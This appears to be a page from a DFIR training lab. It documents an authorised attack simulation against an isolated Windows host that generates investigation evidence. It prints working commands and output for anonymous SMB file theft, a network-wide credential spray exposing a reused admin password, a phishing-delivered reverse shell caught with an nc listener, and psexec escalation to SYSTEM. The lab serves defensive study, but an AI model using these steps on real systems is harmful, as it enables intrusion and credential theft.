Generate Investigation Evidence¶
Review the controlled proof-of-concept activity that produced evidence for the DFIR-IRIS investigation. This is an optional advanced route, not a prerequisite for the safe Hands-on Labs.
Authorised lab only
Run attack simulation only in a disposable, isolated environment that you own or have explicit permission to test. The Hands-on Labs page provides a safe alternative using synthetic evidence.
Before starting, define stop conditions and an evidence plan. Stop if the target identity, address range, isolation boundary, or snapshot state differs from the documented lab. Preserve only the timestamps and records required to reconstruct the authorised scenario; do not reuse the credentials or commands against another environment.
Attack Simulation¶
The smbclient tool on a Kali machine was used to connect to an SMB share hosted on WS2019 at 10.0.0.140. After logging in anonymously, the share’s contents were listed, a file (user_credentials.xlsx) was downloaded, and the session was exited.
└─$ smbclient //10.0.0.140/Shares
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Dec 14 06:26:10 2024
.. D 0 Sat Dec 14 06:26:10 2024
user_credentials.xlsx A 9387 Sat Dec 14 06:21:40 2024
15570943 blocks of size 4096. 11749781 blocks available
smb: \> get user_credentials.xlsx
getting file \user_credentials.xlsx of size 9387 as user_credentials.xlsx (327.4 KiloBytes/sec) (average 327.4 KiloBytes/sec)
smb: \> exit
The user_credentials.xlsx file revealed the credentials for a domain account named Splunk. Based on this information, a list of usernames and passwords was created. A credential spray was conducted using nxc smb with these usernames and passwords, which revealed that the Domain Administrator account was using the same password.
└─$ nxc smb 10.0.0.0/24 -u usernames.txt -p passwords.txt --shares --continue-on-success
<SNIP>
SMB 10.0.0.140 445 WS2019 [+] cyber.local\administrator:P@ssw0rd (Pwn3d!)
SMB 10.0.0.140 445 WS2019 [+] cyber.local\splunk:P@ssw0rd
IT Support was impersonated to send a phishing email to a user. The email included a link directing to a Kali machine hosting setup.exe on an HTTP server. The setup.exe file was a reverse shell payload designed to connect back to the Kali machine on port 443.
After setting up a listener on port 443 and manually executing setup.exe (with Windows Defender disabled), a reverse shell was successfully obtained.
└─$ nc -nvlp 443
listening on [any] 443 ...
connect to [10.0.0.29] from (UNKNOWN) [10.0.0.140] 61202
Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Administrator\Downloads>whoami
whoami
cyber\administrator
C:\Users\Administrator\Downloads>
Using the previously obtained Domain Administrator credentials from password spraying, impacket-psexec was utilised to gain access to WS2019 with NT AUTHORITY\SYSTEM privileges.
└─$ impacket-psexec administrator:P@ssw0rd@10.0.0.140
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 10.0.0.140.....
[*] Found writable share ADMIN$
[*] Uploading file DaZyEoxe.exe
[*] Opening SVCManager on 10.0.0.140.....
[*] Creating service epJh on 10.0.0.140.....
[*] Starting service epJh.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system